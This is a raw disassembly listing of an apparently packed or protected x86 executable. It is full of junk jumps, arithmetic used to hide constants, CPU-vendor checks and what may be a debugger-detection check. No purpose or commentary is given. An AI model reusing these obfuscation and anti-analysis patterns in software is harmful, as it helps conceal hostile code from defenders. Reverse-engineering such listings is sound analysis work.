--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42C6D9: ; CODE XREF: sub_42D4FD-2B1Bj jnz loc_42B16D jmp loc_42D564 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- push ebp mov ebp, eax xchg ebp, [esp] rol eax, 3 mov ds:dword_42F0B4, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C43B loc_42C6F4: ; CODE XREF: sub_42C43B+14j jmp loc_424455 ; END OF FUNCTION CHUNK FOR sub_42C43B ; =============== S U B R O U T I N E ======================================= sub_42C6F9 proc near ; CODE XREF: wto1jq8f:0042ACDAp ; FUNCTION CHUNK AT 0042E06C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov esp, ebp pop ebp mov eax, ds:dword_42F084 loc_42C706: ; CODE XREF: sub_42A30F:loc_42C129j push offset loc_42E9B0 jmp loc_42E06C sub_42C6F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jz loc_42A4FD xchg edx, [ebx] jmp near ptr sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_42C71D: ; CODE XREF: sub_426842+1j jg loc_429EE5 test ebx, eax jmp loc_429700 ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42C72A: ; CODE XREF: sub_42DEFF:loc_42C660j add eax, ebp add eax, 6D7917C9h cmp dword ptr [eax], 4742444Fh jz loc_4265DB loc_42C73E: ; CODE XREF: wto1jq8f:00424D13j ; sub_42CBD1-60D2j ... jnb loc_42CABD cmp dword ptr [ebp-4], 2 jnz loc_426545 lea eax, [ebp-26Fh] jmp loc_427949 ; END OF FUNCTION CHUNK FOR sub_42DEFF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42C75A: ; CODE XREF: sub_427D00+538Ej jmp loc_4245C3 ; END OF FUNCTION CHUNK FOR sub_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C75F proc near ; CODE XREF: sub_4276C3:loc_428897p push ebp mov ebp, esp push ecx mov esp, ebp mov ebp, offset loc_42EDDD xchg ebp, [esp+0] jmp nullsub_124 sub_42C75F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428FD1 loc_42C772: ; CODE XREF: sub_428FD1+12j jnz loc_42B4E8 jmp loc_42D16C ; END OF FUNCTION CHUNK FOR sub_428FD1 ; --------------------------------------------------------------------------- push edi shl edi, 6 jmp loc_42F50F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C786 proc near ; CODE XREF: wto1jq8f:00425F10j ; sub_42E076+9p mov [esp+0], eax pop eax mov dword ptr [ecx], 10001h lea eax, loc_427BF1 jmp near ptr loc_42F15B+3 sub_42C786 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, [esi] test ebx, eax jmp loc_42D197 ; --------------------------------------------------------------------------- pop edi push 0F62D143h pop eax add eax, 0F0DFC429h mov eax, [eax] or eax, eax jnz loc_428730 jmp loc_42B1FA ; --------------------------------------------------------------------------- loc_42C7C0: ; DATA XREF: sub_429BD3-4F7Bo push ecx pushf push 1CB6C4C7h pop ecx add ecx, 0E38BDBEAh popf xchg ecx, [esp] jmp sub_428183 ; --------------------------------------------------------------------------- jnz loc_42A244 and esi, 24AAD6DAh loc_42C7E3: ; CODE XREF: wto1jq8f:0042E283j mov eax, esi loc_42C7E5: ; CODE XREF: wto1jq8f:loc_42802Ej push edi push 0D932FFA9h jmp loc_42A5EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_42C7F0: ; CODE XREF: sub_42DA7A:loc_42D412j xor ebp, 0E60A1371h jp loc_4266F6 sbb eax, edi jmp sub_42D974 ; END OF FUNCTION CHUNK FOR sub_42DA7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42C803: ; CODE XREF: sub_42EDB9:loc_42EB14j mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_425E60 jmp loc_428D1D ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- jnp loc_42D926 not eax jmp sub_428295 ; --------------------------------------------------------------------------- loc_42C829: ; DATA XREF: wto1jq8f:004273FCo mov edx, 0C90D1845h call sub_429165 push offset loc_42C54C jmp loc_4270CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427FAB loc_42C83D: ; CODE XREF: sub_427FAB:loc_42EC74j or ecx, 0F0B210D0h add ecx, 5504F83h xchg ecx, [esp+0] jmp sub_42AECE ; END OF FUNCTION CHUNK FOR sub_427FAB ; --------------------------------------------------------------------------- loc_42C851: ; CODE XREF: wto1jq8f:0042AFBAj jo loc_42672F shr eax, 1 ; =============== S U B R O U T I N E ======================================= sub_42C859 proc near ; CODE XREF: sub_4262F5:loc_42B125p ; FUNCTION CHUNK AT 004281F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B1AF SIZE 0000001E BYTES xchg ecx, [esp+0] pop ecx jmp loc_4281F0 sub_42C859 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42C9A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD35 loc_42C868: ; CODE XREF: sub_42CD35+167Cj jmp loc_42C1CB ; END OF FUNCTION CHUNK FOR sub_42CD35 ; --------------------------------------------------------------------------- and ecx, 0B62FF943h jmp sub_429308 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42C878: ; CODE XREF: sub_425CE2+6D4Aj jnz loc_42948B jmp loc_429DD1 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C883: ; CODE XREF: sub_426535+7A2Ej push offset sub_426EBF jmp loc_42A568 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42C88D proc near ; DATA XREF: sub_426D31+Eo ; FUNCTION CHUNK AT 00428FB7 SIZE 00000005 BYTES call sub_429165 call sub_424585 mov edx, 6A74FD15h push offset sub_424F31 jmp loc_428FB7 sub_42C88D endp ; --------------------------------------------------------------------------- loc_42C8A6: ; CODE XREF: wto1jq8f:0042660Aj add eax, 0CF59C919h xchg eax, ebp push ebp xchg eax, ebp jmp loc_42D6EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42C8B6: ; CODE XREF: sub_429BFF-5859j jge loc_42DA1A jmp loc_428918 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B990 loc_42C8C1: ; CODE XREF: sub_42B990+7j jmp loc_42E8E9 ; END OF FUNCTION CHUNK FOR sub_42B990 ; --------------------------------------------------------------------------- loc_42C8C6: ; CODE XREF: wto1jq8f:0042AB56j jmp near ptr sub_428C71 ; --------------------------------------------------------------------------- cdq jmp loc_425F3A ; --------------------------------------------------------------------------- loc_42C8D1: ; CODE XREF: wto1jq8f:loc_424C05j ; wto1jq8f:004283EAj add eax, edx xor eax, ebx add eax, ecx xor eax, esi jmp loc_425F8C ; --------------------------------------------------------------------------- dw 0C468h dd 0E9A91270h, 2F7Bh ; --------------------------------------------------------------------------- loc_42C8E8: ; CODE XREF: wto1jq8f:00424663j call sub_429F7D loc_42C8ED: ; CODE XREF: wto1jq8f:0042BCE9j sbb esi, eax and ecx, esi loc_42C8F1: ; CODE XREF: wto1jq8f:loc_42A529j push edx push 4CF65616h jmp loc_425AB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42C8FC: ; CODE XREF: sub_4293FF:loc_4246F2j push offset loc_42FDCC jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C906: ; CODE XREF: sub_428333-3679j ; sub_426535:loc_42B424j jnz loc_42E2BD jmp loc_42920C ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- locret_42C911: ; CODE XREF: wto1jq8f:0042AAF1j retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: wto1jq8f:0042A662j ; DATA XREF: wto1jq8f:0042AAE9o jb loc_42B061 mov eax, ds:dword_429558 mov edx, [ebp-4] mov byte ptr [eax+edx], 0 jmp loc_42F3A1 ; --------------------------------------------------------------------------- loc_42C929: ; CODE XREF: wto1jq8f:loc_42E712j xchg ecx, [esp] push ebx push 0A95B90DCh mov ebx, offset loc_42C1A6 jmp loc_42C19D ; --------------------------------------------------------------------------- loc_42C93C: ; CODE XREF: wto1jq8f:00427096j mov [esp], edx pop edx push 7BA7B4CBh pop edx sub edx, 5634AF61h jmp loc_42FBAB ; --------------------------------------------------------------------------- db 3Bh, 0EBh, 0E9h db 90h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42C958: ; CODE XREF: sub_42C4E2+17j call near ptr loc_42F75C+1 or edi, esi jmp sub_42A197 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- loc_42C964: ; CODE XREF: wto1jq8f:loc_42C3F8j jz loc_42A866 jmp loc_42FC63 ; --------------------------------------------------------------------------- pop ebp jmp sub_42821F ; --------------------------------------------------------------------------- xchg eax, ebx push ebx call loc_42F776 loc_42C97D: ; CODE XREF: wto1jq8f:0042E279j jmp loc_426159 ; --------------------------------------------------------------------------- loc_42C982: ; CODE XREF: wto1jq8f:0042C0DAj jmp loc_42756D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42C988: ; CODE XREF: sub_42DC5C-5220j jnb loc_42D2F3 or eax, ecx ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42C990 proc near ; CODE XREF: sub_42ADC7+3DCDp mov [esp+0], edx pop edx add eax, 5C7D6F5Eh add eax, ebp jmp loc_4295F9 sub_42C990 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42C9A1: ; CODE XREF: wto1jq8f:0042C863j push eax push edx push ecx pushf jmp loc_429AD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_42C9AA: ; CODE XREF: sub_428D47+1AF7j pushf push offset sub_426AD4 jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- loc_42C9B5: ; DATA XREF: sub_424585:loc_42A3D0o mov eax, offset dword_42DAF4 call sub_42A56D call near ptr sub_42C031 ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42C9C4: ; CODE XREF: sub_424D3A+8B75j jmp loc_42B8EB ; END OF FUNCTION CHUNK FOR sub_424D3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42C9C9: ; CODE XREF: sub_42D9D9:loc_424924j jnz loc_42ACA1 jmp loc_42D40D ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42C9D4: ; CODE XREF: sub_42BE69:loc_4242D1j mov eax, [ebp-1Ch] call sub_42AEDD loc_42C9DC: ; DATA XREF: sub_4280E6+9o push 0F5404057h pop eax add eax, 0B026CA5h mov eax, [eax] or eax, eax jnz loc_4296AB jmp loc_42E5D7 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- loc_42C9F7: ; CODE XREF: wto1jq8f:00424DF2j or edx, esi sbb ebx, 0E89C1A80h mov ebp, edi test esi, 0EC4E861Dh jmp loc_42AE10 ; --------------------------------------------------------------------------- loc_42CA0C: ; CODE XREF: wto1jq8f:00424426j ja loc_42ED72 ; =============== S U B R O U T I N E ======================================= sub_42CA12 proc far ; CODE XREF: sub_427D82+466Cp ; FUNCTION CHUNK AT 0042EC6F SIZE 00000005 BYTES mov [esp+0], esi pop esi inc dword ptr [ebp-1Ch] jmp loc_42EC6F sub_42CA12 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CA1E: ; CODE XREF: wto1jq8f:0042C412j inc dword ptr [ebp-1Ch] jmp loc_42E44A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42CA26: ; CODE XREF: sub_425CE2+3589j ; sub_4260A9+8BF7j inc dword ptr [ebp-18h] dec dword ptr [ebp-24h] jmp loc_42C878 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42CA31: ; CODE XREF: sub_424F7A+313Bj push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAED loc_42CA38: ; CODE XREF: sub_42EAED+16j jmp loc_426E7D ; END OF FUNCTION CHUNK FOR sub_42EAED ; =============== S U B R O U T I N E ======================================= sub_42CA3D proc far ; CODE XREF: sub_42E676:loc_425EC2j push ebp jmp loc_42F327 sub_42CA3D endp ; --------------------------------------------------------------------------- mov [edi], esi jmp loc_42A778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42CA4A: ; CODE XREF: sub_42DC5C+A4j mov eax, [ebp-14h] push eax push 28h push 389AE3A3h pop eax and eax, 1D613739h add eax, 0B8CF3FDFh add eax, ebp jmp loc_42D48C ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- push edx mov edx, 8547F968h jmp near ptr sub_4240DC ; --------------------------------------------------------------------------- add eax, 2026C03Bh xchg eax, [esp] jmp loc_42BCCA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B019 loc_42CA83: ; CODE XREF: wto1jq8f:00426D1Ej ; sub_42B019+9j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_42B019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D343 loc_42CA88: ; CODE XREF: sub_42D343+Aj sub ebx, 0A2EB8D78h xor ebx, 192B2977h add ebx, 0AC66E6EBh xchg ebx, [esp+0] jmp loc_426EC9 ; END OF FUNCTION CHUNK FOR sub_42D343 ; --------------------------------------------------------------------------- loc_42CAA2: ; CODE XREF: wto1jq8f:loc_4278F9j xor ebx, edi xchg edx, ebp push ecx jmp loc_42B696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42CAAC: ; CODE XREF: sub_42DEFF:loc_427949j cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_42B03D ; --------------------------------------------------------------------------- loc_42CABD: ; CODE XREF: sub_42DEFF:loc_42C73Ej cmp dword ptr [ebp-4], 2 jnz loc_426545 push 92379EA8h pop eax jmp loc_42AA4E ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42CAD3: ; CODE XREF: sub_42A8ED-64A6j jmp loc_428D32 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42CAD8: ; CODE XREF: sub_426C0C-19Fj test ebp, ebx jmp loc_42EB35 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- db 6Ah dword_42CAE0 dd 0 ; sub_426166+4r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42CAE4: ; CODE XREF: sub_42B353-34BFj jmp loc_424DD4 ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- db 7Ch, 0DCh, 3Dh dword_42CAEC dd 0 ; sub_426950+1B37r ; --------------------------------------------------------------------------- loc_42CAF0: ; CODE XREF: wto1jq8f:00427C38j jmp loc_42E0A0 ; --------------------------------------------------------------------------- db 2Dh, 13h, 7Fh dword_42CAF8 dd 0 ; sub_42ED01+6o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_42CAFC: ; CODE XREF: sub_42A0E5-3BB5j jmp sub_42B10A ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; --------------------------------------------------------------------------- db 0E6h, 88h, 0Dh align 8 ; START OF FUNCTION CHUNK FOR sub_429281 loc_42CB08: ; CODE XREF: sub_429281-F59j jmp loc_42EE79 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_42CB0D: ; DATA XREF: sub_428DBE+2D86o call sub_42B02D mov ds:dword_42DAE4, eax lea eax, [ebp-14h] loc_42CB1A: ; CODE XREF: wto1jq8f:loc_428A8Aj xor edx, edx jmp near ptr loc_42F108+1 ; --------------------------------------------------------------------------- db 8Bh, 0D7h, 0Fh dd 2FF48Fh, 0A0DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42CB2E: ; DATA XREF: wto1jq8f:0042A105o mov [ebp-0Ch], eax jmp loc_4267C4 ; =============== S U B R O U T I N E ======================================= sub_42CB36 proc far ; CODE XREF: sub_4267AE-2625p ; sub_42A909-6490p ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004246CA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004246E0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004267E6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042794E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042965A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A337 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042B0D1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BC8F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042D3C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DA4D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042DFFC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042E137 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E858 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EB9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FB6C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042FE3E SIZE 00000038 BYTES jns loc_42965A mov eax, ds:dword_42F1CC or eax, eax jmp loc_4246E0 sub_42CB36 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CB49 proc near ; DATA XREF: wto1jq8f:00428A5Do ; FUNCTION CHUNK AT 00425019 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00425A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426CD2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00426EDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004284E1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A78A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D047 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042F536 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042F58B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042F5A4 SIZE 00000014 BYTES and eax, 0FFFh add [esi], eax and edx, 0FFFFDDFFh xor [esi], edx push 1310AF5Dh pop eax jmp loc_425A62 sub_42CB49 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 87h dd 0F659240Ch, 0F20F845h, 0FF9EED84h, 458B55FFh, 0A30FE9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42CB7A: ; CODE XREF: sub_42A2B8:loc_42A803j pop eax xor eax, 4CF7484Dh add eax, ebp jmp loc_427538 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- loc_42CB88: ; CODE XREF: wto1jq8f:loc_42C542j xor [esi], ebx add [esi], edx xor [esi], ecx cmp ebx, 756E6547h jz loc_42D1F3 cmp ebx, 68747541h jz loc_429196 jmp loc_42868D ; --------------------------------------------------------------------------- loc_42CBAB: ; CODE XREF: wto1jq8f:loc_42A1C2j jnz loc_425BDD jmp loc_42DA2D ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B3D loc_42CBB7: ; CODE XREF: sub_427B3D+14j jmp loc_427FD8 ; END OF FUNCTION CHUNK FOR sub_427B3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42CBBC: ; CODE XREF: sub_425944-13A0j jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242D6 loc_42CBC1: ; CODE XREF: sub_4242D6+6j jmp loc_42AB5B ; END OF FUNCTION CHUNK FOR sub_4242D6 ; --------------------------------------------------------------------------- loc_42CBC6: ; CODE XREF: wto1jq8f:0042663Fj jz loc_4248D9 jmp near ptr loc_42F58F+5 ; =============== S U B R O U T I N E ======================================= sub_42CBD1 proc far ; CODE XREF: wto1jq8f:00428B61j ; sub_425F4F+4EFAp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425BC4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00425F84 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426AEF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00426B5D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426DFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FAE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427074 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427D1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F6C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042849E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004287EB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A425 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A4EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B0DD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B168 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B1F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B24D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042CCED SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D520 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EA6B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042EB23 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042F5B8 SIZE 00000017 BYTES mov [esp+4+var_4], ebx pop ebx mov edx, 0EEE68DF1h call sub_429165 push eax rol eax, 16h push ebx push 0C7F79376h jmp loc_427D1C sub_42CBD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CBEE proc near ; CODE XREF: sub_424351+3j add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_426A54 mov dword ptr [ebp-8], 1 sub_42CBEE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42433B loc_42CC05: ; CODE XREF: sub_42433B:loc_424B6Bj ; sub_42433B+271Ej mov eax, [ebp-8] loc_42CC08: ; CODE XREF: wto1jq8f:0042EB73j pop ecx pop ecx jmp loc_426A48 ; END OF FUNCTION CHUNK FOR sub_42433B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42CC0F: ; CODE XREF: sub_426535:loc_42B141j push ecx push 0D148CFE3h pop ecx add ecx, 2EF97A37h xchg ecx, [esp+24h+var_24] jmp loc_4264EA ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dword_42CC24 dd 9BEE880Fh, 7D83FFFFh, 850F0FE4h, 2266h, 42BBEF68h, 0AABDE900h ; DATA XREF: sub_42D9D9:loc_42D0A2o dd 0EE87FFFFh, 0FF79BAE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42CC45: ; CODE XREF: sub_42606D:loc_429561j div ecx push ecx push 0F35CDE1h pop ecx jmp loc_42B507 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- shl ebx, 1 jmp sub_42859D ; --------------------------------------------------------------------------- locret_42CC5A: ; CODE XREF: wto1jq8f:0042783Bj retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: wto1jq8f:004283F5j jmp locret_42A7FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_42CC60: ; CODE XREF: sub_4240DC+Cj and eax, 82770DE9h xor eax, 39C484D6h add eax, ebp push edx push 0B972B995h pop edx add edx, 0EB1DEC25h or edx, 786C3187h jmp loc_428106 ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- jz loc_427125 jmp loc_42FF90 ; --------------------------------------------------------------------------- jg loc_42DA0B jmp sub_426D31 ; --------------------------------------------------------------------------- push eax rol eax, 19h push esi push 38F8CA1h pop esi or esi, 0A68CB367h jmp loc_42FBA1 ; --------------------------------------------------------------------------- loc_42CCB2: ; DATA XREF: sub_42B990+2F5Fo pop edx pop ecx xchg ecx, [esp] mov eax, ecx pop ecx pop ebp jmp loc_428B27 ; --------------------------------------------------------------------------- dd 32D5E8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA35 loc_42CCC5: ; CODE XREF: sub_42DA35:loc_42DA3Dj push ecx xchg edx, edi ; END OF FUNCTION CHUNK FOR sub_42DA35 ; START OF FUNCTION CHUNK FOR sub_42628C loc_42CCC8: ; CODE XREF: sub_42628C:loc_42D14Aj push edi call sub_42B276 loc_42CCCE: ; CODE XREF: wto1jq8f:00429725j ; wto1jq8f:0042C2F1j jmp loc_42ABA0 ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- locret_42CCD3: ; CODE XREF: wto1jq8f:0042BA91j retn ; --------------------------------------------------------------------------- jmp loc_42DE07 ; --------------------------------------------------------------------------- jmp loc_42AC0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42CCDE: ; CODE XREF: sub_429BFF+3B4Fj jmp loc_42438C ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C670 loc_42CCE3: ; CODE XREF: sub_42C670+11j jmp loc_42960E ; END OF FUNCTION CHUNK FOR sub_42C670 ; --------------------------------------------------------------------------- loc_42CCE8: ; CODE XREF: wto1jq8f:00425AC5j jmp sub_42776C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42CCED: ; CODE XREF: sub_42CBD1:loc_42B168j push 0ECDE9AFh pop edx xor edx, 0ACE6AF53h push offset loc_42C2C6 jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_42CD03: ; CODE XREF: wto1jq8f:loc_425B73j push edx push 89A821F6h pop edx or edx, 0F333408h add edx, 70870E6Ah xchg edx, [esp] jmp loc_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_42CD1E: ; CODE XREF: sub_42A3DA:loc_4281F5j push offset loc_42E1BA jmp loc_42FB94 ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42CD28: ; CODE XREF: sub_429471:loc_42B60Aj jnz loc_4260C5 jmp loc_42A037 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- xchg edx, [ebx] ; =============== S U B R O U T I N E ======================================= sub_42CD35 proc near ; CODE XREF: wto1jq8f:loc_4262A6p ; FUNCTION CHUNK AT 0042995A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C868 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3AD SIZE 00000009 BYTES xchg eax, [esp+0] pop eax call sub_42E3B6 jmp loc_42995A sub_42CD35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CD43: ; CODE XREF: wto1jq8f:00425E16j pop ecx loc_42CD44: ; CODE XREF: wto1jq8f:loc_42B722j push eax push 82482BC4h pop eax xor eax, 0CA16A81Ch test eax, 4 jmp loc_42602A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42CD5C: ; CODE XREF: sub_428C71:loc_428C7Dj call sub_42D368 loc_42CD61: ; DATA XREF: sub_426535-24DAo push eax call sub_42DFE5 cmp dword ptr [ebp-0Ch], 0 jz loc_42E061 loc_42CD71: ; CODE XREF: wto1jq8f:0042EA11j jmp loc_42B6A8 ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- jnb sub_42750A jmp near ptr sub_42A617 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK 